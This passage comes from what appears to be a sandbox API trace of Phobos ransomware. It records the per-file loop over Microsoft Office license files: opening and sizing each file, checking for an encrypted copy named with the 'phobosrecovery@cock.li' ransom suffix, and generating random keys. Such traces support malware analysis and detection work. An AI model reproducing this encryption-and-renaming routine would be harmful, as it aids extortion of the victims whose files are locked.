office\\root\\licenses16\\o365homepremr_subtrial4-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.725] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=23135) returned 1 [0152.725] CloseHandle (hObject=0x580) returned 1 [0152.725] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial4-ppd.xrm-ms")) returned 0x220 [0152.725] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial4-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.725] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial4-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.725] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.725] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial4-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.726] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11635) returned 1 [0152.726] CloseHandle (hObject=0x580) returned 1 [0152.726] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial4-ul-oob.xrm-ms")) returned 0x220 [0152.726] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial4-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.726] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial4-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.727] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.727] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial5-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.728] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11183) returned 1 [0152.728] CloseHandle (hObject=0x580) returned 1 [0152.728] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial5-pl.xrm-ms")) returned 0x220 [0152.728] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial5-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.728] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial5-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.729] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.729] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial5-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.729] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=23135) returned 1 [0152.729] CloseHandle (hObject=0x580) returned 1 [0152.729] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial5-ppd.xrm-ms")) returned 0x220 [0152.729] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial5-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.729] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial5-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.730] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.730] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial5-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.730] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11635) returned 1 [0152.730] CloseHandle (hObject=0x580) returned 1 [0152.731] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial5-ul-oob.xrm-ms")) returned 0x220 [0152.731] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial5-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.731] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial5-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.731] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.731] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusdemor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.732] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11215) returned 1 [0152.732] CloseHandle (hObject=0x580) returned 1 [0152.732] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusdemor_bypasstrial180-pl.xrm-ms")) returned 0x220 [0152.732] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusdemor_bypasstrial180-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.732] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusdemor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.733] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.733] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusdemor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.733] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=24386) returned 1 [0152.733] CloseHandle (hObject=0x580) returned 1 [0152.733] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusdemor_bypasstrial180-ppd.xrm-ms")) returned 0x220 [0152.733] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusdemor_bypasstrial180-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.733] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusdemor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.734] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.734] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusdemor_bypasstrial180-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.734] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11669) returned 1 [0152.734] CloseHandle (hObject=0x580) returned 1 [0152.735] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusdemor_bypasstrial180-ul-oob.xrm-ms")) returned 0x220 [0152.735] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusdemor_bypasstrial180-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.735] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusdemor_bypasstrial180-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.735] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.735] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_grace-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.736] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=24302) returned 1 [0152.736] CloseHandle (hObject=0x580) returned 1 [0152.736] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_grace-ppd.xrm-ms")) returned 0x220 [0152.736] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_grace-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.736] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.736] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.736] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.737] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11619) returned 1 [0152.737] CloseHandle (hObject=0x580) returned 1 [0152.737] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_grace-ul-oob.xrm-ms")) returned 0x220 [0152.737] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_grace-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.737] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.737] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.737] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription1-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.738] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11195) returned 1 [0152.738] CloseHandle (hObject=0x580) returned 1 [0152.738] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription1-pl.xrm-ms")) returned 0x220 [0152.738] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription1-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.738] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription1-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.738] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.738] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription1-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.739] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=28261) returned 1 [0152.739] CloseHandle (hObject=0x580) returned 1 [0152.739] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription1-ppd.xrm-ms")) returned 0x220 [0152.739] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription1-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.739] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription1-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.739] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.740] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription1-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.740] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11646) returned 1 [0152.740] CloseHandle (hObject=0x580) returned 1 [0152.740] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription1-ul-oob.xrm-ms")) returned 0x220 [0152.740] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription1-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.740] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription1-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.741] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.741] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription2-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.742] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11195) returned 1 [0152.742] CloseHandle (hObject=0x580) returned 1 [0152.742] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription2-pl.xrm-ms")) returned 0x220 [0152.742] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription2-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.742] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.743] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.743] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription2-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.743] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=28261) returned 1 [0152.743] CloseHandle (hObject=0x580) returned 1 [0152.744] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription2-ppd.xrm-ms")) returned 0x220 [0152.744] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription2-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.744] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.744] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0152.744] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription2-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.745] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fdfb48 